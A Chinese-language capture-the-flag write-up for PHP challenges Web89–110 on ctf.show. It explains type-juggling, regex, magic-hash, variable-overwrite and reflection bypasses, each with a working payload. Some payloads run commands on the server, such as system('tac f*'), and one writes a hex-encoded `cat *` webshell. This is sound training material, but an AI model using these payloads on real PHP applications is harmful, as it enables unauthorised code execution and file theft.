入门89~110
作为thinkphp,phpCVE的前置关卡,本章节还是比较重要的,师傅们冲冲冲~
Web89 数组绕过
- preg_match匹配数组时会return false,跳出第一个if语句
- intval如果$num为一个数组且有值,则return 1,若数组为空,则return0
- 利用上述两条规则,构造payload为
?num[]=1
Web90 进制绕过
- 第一个if,===不仅判断内容,还判断类型是否相同,写入数组的方法就不行了
- 第二个if,会根据intval($num,0)的进制来读取数字并进行判断
intval($num,0): 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 “0x” (或“0X”) 的前缀,使用 16 进制 (hex);否则, 如果字符串以 “0” 开始,使用 8 进制(octal);否则, 将使用 10进制 (decimal)。
- 构造八进制的4476:
?num=010574
成功爆出flag
Web91 多行匹配
/i 表示忽略大小写, /m 表示多行匹配, ^ 表示匹配开头, $ 表示匹配结尾;%0a代表URL编码中的换行符,相当于ASCII码的\n
代码首先检查$a 是否匹配正则表达式 '/^php$/im'
。这个正则表达式的意思是检查 $a 是否为单独的字符串 “php”,且匹配时不区分大小写(i 修饰符),并且启用了多行匹配模式(m 修饰符)。
如果第一步匹配成功,代码会进一步检查 $a 是否匹配正则表达式 '/^php$/i'。这个正则表达式和第一个类似,只是没有多行模式(m 修饰符)。
- 构造payload
?cmd=%0aphp
Web92 弱类型转换
相比于之前那题把 === 改成了 ==
== 在进行比较的时候,会先将字符串类型转化成相同,再比较如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
payload:?num=0x117c
Web93 正则匹配a~z
- 十六进制用不了了,改用八进制
?num=010574
Web94 第一个数字不为0
- 注意这里的 !strpos(), strops() 返回对应字符第一次出现的位置,如果我们使用八进制 010574, strpos(“010574”, “0”) 返回0, 也就是 false, 加了 ! 后反而变成 true
- 采用小数点绕过,使用 4476.0, 第一个if语句因为是强等于号,可以绕过,第四个if因为 intval() 是一个取整函数, 非整数部分都会被截断, 包括字符串
payload:?num=4476.0123
Web95 小数点
小数点过滤了, 可以用空格+八进制, 空格在转换时会被自动去除
payload:?num=+010574
Web96 PHP伪协议
./ 表示当前目录。它指向你当前所在的目录
?u=./flag.php
或者u=php://filter/resource=flag.php
或者用绝对路径?u=/var/www/html/flag.php
Web97 md5弱类型比较
利用 md5 加密数组时, 会报错并返回 NULL
a[]=1&b[]=2
Web98 PHP的引用
& 为 php 的引用,在PHP 中引用的意思是: 不同的名字访问同一个变量内容. 与C语言中的指针是有差别的. C语言中的指针里面存储的是变量的内容, 在内存中存放的地址.
-
如果 $_GET 存在且为真,它会将 $_GET 赋值为 $_POST,(即下面的 $_GET 全部都当作 $_POST),否则为flag
-
然后判断 $_POST[‘flag’] 的内容是否为 flag, 是的话把 $_COOKIE 的引用给 $_GET (即下面的 $_GET 全部都当作 $_COOKIE)
-
然后判断 $_COOKIE[‘flag’] 的内容是否为 flag, 是的话把 $_SERVER 的引用给 $_GET (即下面的 $_GET 全部都当作 $_SERVER’)
第一种方法:改包
POST /?a=1 HTTP/1.1
Host: 1915a8ed-47d1-4edd-a4a9-3fd7f7b3dddf.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: https://1915a8ed-47d1-4edd-a4a9-3fd7f7b3dddf.challenge.ctf.show
Connection: close
Referer: https://1915a8ed-47d1-4edd-a4a9-3fd7f7b3dddf.challenge.ctf.show/?a=1
Cookie: flag=flag
FLAG: flag
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Priority: u=0, i
flag=flag
第二种省去了中间两步的判断, 没有那么绕了:
GET 随便一个 加 POST 一个 HTTP_FLAG=flag
Web99 inarray弱类型转换
array_push() 函数:向数组尾部插入一个或多个元素
rand() 函数随机生成数组rand(min,max)
file_put_contents(filename, data, flags, context); 这里时要将POST的内容写进GET的文件路径里面
filename:文件名或路径。指定要写入的文件。
data:要写入文件的内容。
flags:可选参数,指定写入的标志。
context:可选参数,指定文件操作的上下文。
- 我们需要以 n 为文件名写文件, n的值必须是字符串,这里考察的是 in_array() 的漏洞 (其实还是弱类型转换)
var_dump(in_array('1abc', [1,2,3,4,5])); // true
var_dump(in_array('abc', [1,2,3,4,5])); // false
var_dump(in_array('abc', [0,1,2,3,4,5])); // true
Web100 =和and的优先级比较
= 的优先级是比 and 要高的
也就是说 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 实际上是先执行了 $v0=is_numeric($v1), 然后返回 true 或者 false, 之后执行 true and is_numeric($v2) and is_numeric($v3); 或者是 false and is_numeric($v2) and is_numeric($v3);
- 因为赋值的优先级(=)高于and所以v0的值可以由v1来控制,所以我们需要给其赋值为1也就是true
?v1=123&v2=print_r($ctfshow)&v3=;
- 去掉多余的 x,然后将 x2d 替换为 -,尝试将其还原为标准格式。
- 164814280-79b00-4fe40-b3610-3e48aaf6452e
Web101 =和and的优先级比较(过滤版)反射
比上题增加了更多的过滤, 而且单引号和 $ 都被过滤了
反射(Reflection) 是一种允许程序在运行时检查自身结构的技术。在 PHP 中,反射类主要用于:
获取类的定义信息,例如类的属性、方法、常量等。 动态调用类的方法。 修改类的属性。 检查函数和方法的参数。 常用的反射类
ReflectionClass:用于获取类的详细信息。 ReflectionMethod:用于获取方法的详细信息。
ReflectionProperty:用于获取属性的详细信息。 ReflectionFunction:用于获取函数的详细信息。
ReflectionParameter:用于获取方法或函数参数的详细信息。
- 举例
<?php
class Person {
public $name;
private $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
public function greet() {
return "Hello, my name is " . $this->name;
}
}
$reflection = new ReflectionClass('Person');
// 获取类名
echo $reflection->getName() . "\n"; // 输出: Person
// 获取类中的所有属性
$properties = $reflection->getProperties();
foreach ($properties as $property) {
echo $property->getName() . "\n";
}
// 获取类中的所有方法
$methods = $reflection->getMethods();
foreach ($methods as $method) {
echo $method->getName() . "\n";
}
?>
输出:
Person
name
age
__construct
greet
因此构造payload为?v1=123&v2=echo new ReflectionClass&v3=;
hint 提示 flag 末尾少一位, 需要手工 0-f 都试一下
Web102
call_user_func 是 PHP 中的一个函数,用来调用用户定义的函数或方法。这个函数的灵活性非常高,因为它可以动态地调用函数或方法,无论它们是普通的函数、类的方法,还是匿名函数。
function sayHello($name) {
return "Hello, $name!";
}
echo call_user_func('sayHello', 'World'); // 输出:Hello, World!
hex2bin() 是 PHP 中的一个内置函数,用于将十六进制字符串转换为二进制字符串。返回值:成功时返回转换后的二进制字符串;如果输入的十六进制字符串无效,函数返回 false。十六进制字符串的长度必须是偶数,否则 hex2bin() 会返回 false。
$hexString = "48656c6c6f20576f726c64"; // "Hello World" 的十六进制表示
$binaryString = hex2bin($hexString);
if ($binaryString !== false) {
echo $binaryString; // 输出: Hello World
} else {
echo "转换失败";
}
而bin2hex()正好相反
$binaryString = "Hello World";
$hexString = bin2hex($binaryString);
echo $hexString; // 输出: 48656c6c6f20576f726c64
substr($v2, 2):从 $v2 的第三个字符开始截取字符串(从索引 2 开始)。
因此,本题的解题思路是:
$a=<?=`cat *`;
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
$c输出5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
v2=005044383959474e6864434171594473
Web103
同上
Web104 sha弱碰撞![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/51a9f07be148493dbb8f8dee7f262416.png)
sha1和MD5一样可以数组绕过
Web105 变量覆盖
php foreach语法
foreach ($array as $key => $value) {
// 对每个 $key 和 $value 执行操作
}
$person = [
"first_name" => "John",
"last_name" => "Doe",
"age" => 30
];
foreach ($person as $key => $value) {
echo $key . ": " . $value . "<br>";
}
first_name: John
last_name: Doe
age: 30
题目要求:前两个if要求,GET的变量名字不能等于error,POST的变量值不能等于flag
if(!($_POST['flag']==$flag)){
die($error);
第三个if可以让error变量等于flag变量
思路:构造如下payload,对于第一个if,将suces的值覆盖为flag的值,对于第二个if,将error的值覆盖为suces的值,因此$error=$flag
?suces=flag
error=suces
Web106
比104多加了个条件
$v1!=$v2
get : v2[]=0
post: v1[]=1
Web107
parse_str(string,array)
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
运行实例:
<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>
output:Array ( [name] => Bill [age] => 60 )
0e开头的md5和原值: QNKCDZO 0e830400451993494058024219903391 240610708
0e462097431906509019562988736854 s878926199a
0e545993274517709034328855841020 s155964671a
0e342768416822451524974117254469 s214587387a
0e848240448830537924465865611904 s214587387a
0e848240448830537924465865611904 s878926199a
0e545993274517709034328855841020 s1091221200a
0e940624217856561557816327384675 s1885207154a
0e509367213418206700842008763514 s1502113478a
0e861580163291561247404381396064 s1885207154a
0e509367213418206700842008763514 s1836677006a
0e481036490867661113260034900752 s155964671a
0e342768416822451524974117254469 s1184209335a
0e072485820392773389523109082030 s1665632922a
0e731198061491163073197128363787 s1502113478a
0e861580163291561247404381396064 s1836677006a
0e481036490867661113260034900752 s1091221200a
0e940624217856561557816327384675 s155964671a
0e342768416822451524974117254469 s1502113478a
0e861580163291561247404381396064 s155964671a
0e342768416822451524974117254469 s1665632922a
0e731198061491163073197128363787 s155964671a
0e342768416822451524974117254469 s1091221200a
0e940624217856561557816327384675 s1836677006a
0e481036490867661113260034900752 s1885207154a
0e509367213418206700842008763514 s532378020a
0e220463095855511507588041205815 s878926199a
0e545993274517709034328855841020 s1091221200a
0e940624217856561557816327384675 s214587387a
0e848240448830537924465865611904 s1502113478a
0e861580163291561247404381396064 s1091221200a
0e940624217856561557816327384675 s1665632922a
0e731198061491163073197128363787 s1885207154a
0e509367213418206700842008763514 s1836677006a
0e481036490867661113260034900752 s1665632922a
0e731198061491163073197128363787 s878926199a
0e545993274517709034328855841020
Web108
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
strrev() :反转字符串
intval()函数遇到非数字字符就会停止识别, 877d识别为877
^[a-zA-Z]+$
这个正则意思是:匹配所有大小写字母一次或者多次(+号:一次或者多次)
payload: a%00a778
Web109 反射&报错
参考Web101?v1=ReflectionClass&v2=system('tac fl36dg.txt')
或?v1=Exception&v2=system("tac f*")
Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类
通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果
Web110 比上题更多的过滤&PHP内置类
这题的考点:php内置类
DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类
getcwd():函数取得当前工作目录
- 构造payload
?v1=FilesystemIterator&v2=getcwd
得到当前目录的第一个文件名字:fl36dga.txt,然后直接访问。